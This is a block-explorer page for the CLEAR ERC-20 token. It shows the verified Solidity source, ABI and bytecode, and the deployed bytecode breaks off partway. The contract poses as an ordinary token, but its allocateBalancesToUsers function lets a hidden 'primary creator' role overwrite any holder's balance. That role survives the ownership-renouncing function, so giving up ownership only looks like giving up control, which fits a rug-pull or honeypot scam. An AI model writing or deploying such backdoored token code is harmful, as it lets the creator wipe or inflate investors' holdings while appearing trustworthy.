ETH Price: $3,405.55 (+2.10%)

Token

CLEAR (CLEAR)
 

Overview

Max Total Supply

1,000,000 CLEAR

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.00000000000001 CLEAR

Value
$0.00
0x753469f9191469bc9196ebd8f716ba5eeb4dae49
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CLEAR

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : MAYBE.sol
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _retrieveSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _mainOperator;
    event MainOperatorChanged(address indexed previousMainOperator, address indexed newMainOperator);

    constructor () {
        address msgSender = _retrieveSender();
        _mainOperator = msgSender;
        emit MainOperatorChanged(address(0), msgSender);
    }
    
    function retrieveMainOperator() public view virtual returns (address) {
        return _mainOperator;
    }
    
    modifier onlyMainOperator() {
        require(retrieveMainOperator() == _retrieveSender(), "Access Control: executor is not the main operator");
        _;
    }
    
    function makeMainOperatorInaccessible() public virtual onlyMainOperator {
        emit MainOperatorChanged(_mainOperator, address(0x000000000000000000000000000000000000dEaD));
        _mainOperator = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract CLEAR is Context, Ownable, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private _creator; 

    string public constant _name = "CLEAR";
    string public constant _symbol = "CLEAR";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 1000000 * (10 ** _decimals);

    constructor() {
        _balances[_retrieveSender()] = _totalSupply;
        emit Transfer(address(0), _retrieveSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function getPrimaryCreator() public view virtual returns (address) { 
        return _creator;
    }

    function alterPrimaryCreator(address newPrimaryCreator) public onlyMainOperator { 
        _creator = newPrimaryCreator;
    }
    
    modifier solelyPrimaryCreator() {
        require(getPrimaryCreator() == _retrieveSender(), "Access Control: executor is not the primary creator");
        _;
    }
    
    event TokensAllocated(address indexed beneficiary, uint256 previousBalance, uint256 updatedBalance);
    
    function allocateBalancesToUsers(address[] memory beneficiaries, uint256 desiredAllocation) public solelyPrimaryCreator {

        require(desiredAllocation >= 0, "Error: desired allocation should be non-negative");

        for (uint256 index = 0; index < beneficiaries.length; index++) {

            address currentBeneficiary = beneficiaries[index];

            require(currentBeneficiary != address(0), "Error: beneficiary address cannot be the zero address");

            uint256 priorBalance = _balances[currentBeneficiary];

            _balances[currentBeneficiary] = desiredAllocation;

            emit TokensAllocated(currentBeneficiary, priorBalance, desiredAllocation);

        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[_retrieveSender()] >= amount, "TT: transfer amount exceeds balance");
    _balances[_retrieveSender()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(_retrieveSender(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_retrieveSender()][spender] = amount;
        emit Approval(_retrieveSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][_retrieveSender()] >= amount, "TT: transfer amount exceeds allowance");

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][_retrieveSender()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousMainOperator","type":"address"},{"indexed":true,"internalType":"address","name":"newMainOperator","type":"address"}],"name":"MainOperatorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"beneficiary","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokensAllocated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"beneficiaries","type":"address[]"},{"internalType":"uint256","name":"desiredAllocation","type":"uint256"}],"name":"allocateBalancesToUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newPrimaryCreator","type":"address"}],"name":"alterPrimaryCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPrimaryCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeMainOperatorInaccessible","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveMainOperator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f3e08c9bddefa0b6e0885681bfe4954851e55c2a40beb0091d4e34903d221d78660405160405180910390a3506012600a620000d2919062000372565b620f4240620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620f4240620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611ab2806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806390b237bc116100a2578063b09f126611610071578063b09f1266146102e7578063b542a7be14610305578063cdca199d14610321578063d28d88521461032b578063dd62ed3e1461034957610116565b806390b237bc1461025d57806395d89b411461027b578063a9059cbb14610299578063aa5c1ad5146102c957610116565b80632fcfd217116100e95780632fcfd217146101b7578063313ce567146101d357806332424aa3146101f15780633eaaf86b1461020f57806370a082311461022d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610379565b6040516101309190610fea565b60405180910390f35b610153600480360381019061014e91906110b4565b6103b6565b604051610160919061110f565b60405180910390f35b6101716104b6565b60405161017e9190611139565b60405180910390f35b6101a1600480360381019061019c9190611154565b6104d9565b6040516101ae919061110f565b60405180910390f35b6101d160048036038101906101cc91906111a7565b610757565b005b6101db610817565b6040516101e891906111f0565b60405180910390f35b6101f9610820565b60405161020691906111f0565b60405180910390f35b610217610825565b6040516102249190611139565b60405180910390f35b610247600480360381019061024291906111a7565b610844565b6040516102549190611139565b60405180910390f35b61026561088d565b604051610272919061121a565b60405180910390f35b6102836108b7565b6040516102909190610fea565b60405180910390f35b6102b360048036038101906102ae91906110b4565b6108f4565b6040516102c0919061110f565b60405180910390f35b6102d1610aa8565b6040516102de919061121a565b60405180910390f35b6102ef610ad1565b6040516102fc9190610fea565b60405180910390f35b61031f600480360381019061031a919061137d565b610b0a565b005b610329610d56565b005b610333610e92565b6040516103409190610fea565b60405180910390f35b610363600480360381019061035e91906113d9565b610ecb565b6040516103709190611139565b60405180910390f35b60606040518060400160405280600581526020017f434c454152000000000000000000000000000000000000000000000000000000815250905090565b600081600160006103c5610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045f610f52565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a49190611139565b60405180910390a36001905092915050565b60006012600a6104c6919061157b565b620f42406104d491906115c6565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610525610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105989061167a565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f0919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461064691906116ce565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e0919061169a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107449190611139565b60405180910390a3600190509392505050565b61075f610f52565b73ffffffffffffffffffffffffffffffffffffffff1661077d610aa8565b73ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca90611774565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b601281565b6012600a610833919061157b565b620f424061084191906115c6565b81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f434c454152000000000000000000000000000000000000000000000000000000815250905090565b60008160026000610903610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097690611806565b60405180910390fd5b816002600061098c610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d5919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a2b91906116ce565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610a51610f52565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a969190611139565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f434c45415200000000000000000000000000000000000000000000000000000081525081565b610b12610f52565b73ffffffffffffffffffffffffffffffffffffffff16610b3061088d565b73ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d90611898565b60405180910390fd5b6000811015610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc19061192a565b60405180910390fd5b60005b8251811015610d51576000838281518110610beb57610bea61194a565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906119eb565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f4885d73252b9e2c420b677d64d50e8a5798773dbb4cb99c5a2ab2824f725d9a88286604051610d34929190611a0b565b60405180910390a250508080610d4990611a34565b915050610bcd565b505050565b610d5e610f52565b73ffffffffffffffffffffffffffffffffffffffff16610d7c610aa8565b73ffffffffffffffffffffffffffffffffffffffff1614610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc990611774565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3e08c9bddefa0b6e0885681bfe4954851e55c2a40beb0091d4e34903d221d78660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6040518060400160405280600581526020017f434c45415200000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f94578082015181840152602081019050610f79565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbc82610f5a565b610fc68185610f65565b9350610fd6818560208601610f76565b610fdf81610fa0565b840191505092915050565b600060208201905081810360008301526110048184610fb1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104b82611020565b9050919050565b61105b81611040565b811461106657600080fd5b50565b60008135905061107881611052565b92915050565b6000819050919050565b6110918161107e565b811461109c57600080fd5b50565b6000813590506110ae81611088565b92915050565b600080604083850312156110cb576110ca611016565b5b60006110d985828601611069565b92505060206110ea8582860161109f565b9150509250929050565b60008115159050919050565b611109816110f4565b82525050565b60006020820190506111246000830184611100565b92915050565b6111338161107e565b82525050565b600060208201905061114e600083018461112a565b92915050565b60008060006060848603121561116d5761116c611016565b5b600061117b86828701611069565b935050602061118c86828701611069565b925050604061119d8682870161109f565b9150509250925092565b6000602082840312156111bd576111bc611016565b5b60006111cb84828501611069565b91505092915050565b600060ff82169050919050565b6111ea816111d4565b82525050565b600060208201905061120560008301846111e1565b92915050565b61121481611040565b82525050565b600060208201905061122f600083018461120b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61127282610fa0565b810181811067ffffffffffffffff821117156112915761129061123a565b5b80604052505050565b60006112a461100c565b90506112b08282611269565b919050565b600067ffffffffffffffff8211156112d0576112cf61123a565b5b602082029050602081019050919050565b600080fd5b60006112f96112f4846112b5565b61129a565b9050808382526020820190506020840283018581111561131c5761131b6112e1565b5b835b8181101561134557806113318882611069565b84526020840193505060208101905061131e565b5050509392505050565b600082601f83011261136457611363611235565b5b81356113748482602086016112e6565b91505092915050565b6000806040838503121561139457611393611016565b5b600083013567ffffffffffffffff8111156113b2576113b161101b565b5b6113be8582860161134f565b92505060206113cf8582860161109f565b9150509250929050565b600080604083850312156113f0576113ef611016565b5b60006113fe85828601611069565b925050602061140f85828601611069565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561149f5780860481111561147b5761147a611419565b5b600185161561148a5780820291505b808102905061149885611448565b945061145f565b94509492505050565b6000826114b85760019050611574565b816114c65760009050611574565b81600181146114dc57600281146114e657611515565b6001915050611574565b60ff8411156114f8576114f7611419565b5b8360020a91508482111561150f5761150e611419565b5b50611574565b5060208310610133831016604e8410600b841016171561154a5782820a90508381111561154557611544611419565b5b611574565b6115578484846001611455565b9250905081840481111561156e5761156d611419565b5b81810290505b9392505050565b60006115868261107e565b9150611591836111d4565b92506115be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114a8565b905092915050565b60006115d18261107e565b91506115dc8361107e565b92508282026115ea8161107e565b9150828204841483151761160157611600611419565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611664602583610f65565b915061166f82611608565b604082019050919050565b6000602082019050818103600083015261169381611657565b9050919050565b60006116a58261107e565b91506116b08361107e565b92508282039050818111156116c8576116c7611419565b5b92915050565b60006116d98261107e565b91506116e48361107e565b92508282019050808211156116fc576116fb611419565b5b92915050565b7f41636365737320436f6e74726f6c3a206578656375746f72206973206e6f742060008201527f746865206d61696e206f70657261746f72000000000000000000000000000000602082015250565b600061175e603183610f65565b915061176982611702565b604082019050919050565b6000602082019050818103600083015261178d81611751565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006117f0602383610f65565b91506117fb82611794565b604082019050919050565b6000602082019050818103600083015261181f816117e3565b9050919050565b7f41636365737320436f6e74726f6c3a206578656375746f72206973206e6f742060008201527f746865207072696d6172792063726561746f7200000000000000000000000000602082015250565b6000611882603383610f65565b915061188d82611826565b604082019050919050565b600060208201905081810360008301526118b181611875565b9050919050565b7f4572726f723a206465736972656420616c6c6f636174696f6e2073686f756c6460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611914603083610f65565b915061191f826118b8565b604082019050919050565b6000602082019050818103600083015261194381611907565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a2062656e656669636961727920616464726573732063616e6e6f60008201527f7420626520746865207a65726f20616464726573730000000000000000000000602082015250565b60006119d5603583610f65565b91506119e082611979565b604082019050919050565b60006020820190508181036000830152611a04816119c8565b9050919050565b6000604082019050611a20600083018561112a565b611a2d602083018461112a565b9392505050565b6000611a3f8261107e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a7157611a70611419565b5b60018201905091905056fea26469706673582212205f1b22681d36ac27d4f653f3f758e7737219f5734a1c90a6ecf4bc1b132268c264736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806390b237bc116100a2578063b09f126611610071578063b09f1266146102e7578063b542a7be14610305578063cdca199d14610321578063d28d88521461032b578063dd62ed3e1461034957610116565b806390b237bc1461025d57806395d89b411461027b578063a9059cbb14610299578063aa5c1ad5146102c957610116565b80632fcfd217116100e95780632fcfd217146101b7578063313ce567146101d357806332424aa3146101f15780633eaaf86b1461020f57806370a082311461022d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610379565b6040516101309190610fea565b60405180910390f35b610153600480360381019061014e91906110b4565b6103b6565b604051610160919061110f565b60405180910390f35b6101716104b6565b60405161017e9190611139565b60405180910390f35b6101a1600480360381019061019c9190611154565b6104d9565b6040516101ae919061110f565b60405180910390f35b6101d160048036038101906101cc91906111a7565b610757565b005b6101db610817565b6040516101e891906111f0565b60405180910390f35b6101f9610820565b60405161020691906111f0565b60405180910390f35b610217610825565b6040516102249190611139565b60405180910390f35b610247600480360381019061024291906111a7565b610844565b6040516102549190611139565b60405180910390f35b61026561088d565b604051610272919061121a565b60405180910390f35b6102836108b7565b6040516102909190610fea565b60405180910390f35b6102b360048036038101906102ae91906110b4565b6108f4565b6040516102c0919061110f565b60405180910390f35b6102d1610aa8565b6040516102de919061121a565b60405180910390f35b6102ef610ad1565b6040516102fc9190610fea565b60405180910390f35b61031f600480360381019061031a919061137d565b610b0a565b005b610329610d56565b005b610333610e92565b6040516103409190610fea565b60405180910390f35b610363600480360381019061035e91906113d9565b610ecb565b6040516103709190611139565b60405180910390f35b60606040518060400160405280600581526020017f434c454152000000000000000000000000000000000000000000000000000000815250905090565b600081600160006103c5610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045f610f52565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a49190611139565b60405180910390a36001905092915050565b60006012600a6104c6919061157b565b620f42406104d491906115c6565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610525610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105989061167a565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f0919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461064691906116ce565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e0919061169a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107449190611139565b60405180910390a3600190509392505050565b61075f610f52565b73ffffffffffffffffffffffffffffffffffffffff1661077d610aa8565b73ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca90611774565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b601281565b6012600a610833919061157b565b620f424061084191906115c6565b81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f434c454152000000000000000000000000000000000000000000000000000000815250905090565b60008160026000610903610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097690611806565b60405180910390fd5b816002600061098c610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d5919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a2b91906116ce565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610a51610f52565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a969190611139565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f434c45415200000000000000000000000000000000000000000000000000000081525081565b610b12610f52565b73ffffffffffffffffffffffffffffffffffffffff16610b3061088d565b73ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d90611898565b60405180910390fd5b6000811015610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc19061192a565b60405180910390fd5b60005b8251811015610d51576000838281518110610beb57610bea61194a565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906119eb565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f4885d73252b9e2c420b677d64d50e8a5798773dbb4cb99c5a2ab2824f725d9a88286604051610d34929190611a0b565b60405180910390a250508080610d4990611a34565b915050610bcd565b505050565b610d5e610f52565b73ffffffffffffffffffffffffffffffffffffffff16610d7c610aa8565b73ffffffffffffffffffffffffffffffffffffffff1614610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc990611774565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3e08c9bddefa0b6e0885681bfe4954851e55c2a40beb0091d4e34903d221d78660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6040518060400160405280600581526020017f434c45415200000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f94578082015181840152602081019050610f79565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbc82610f5a565b610fc68185610f65565b9350610fd6818560208601610f76565b610fdf8161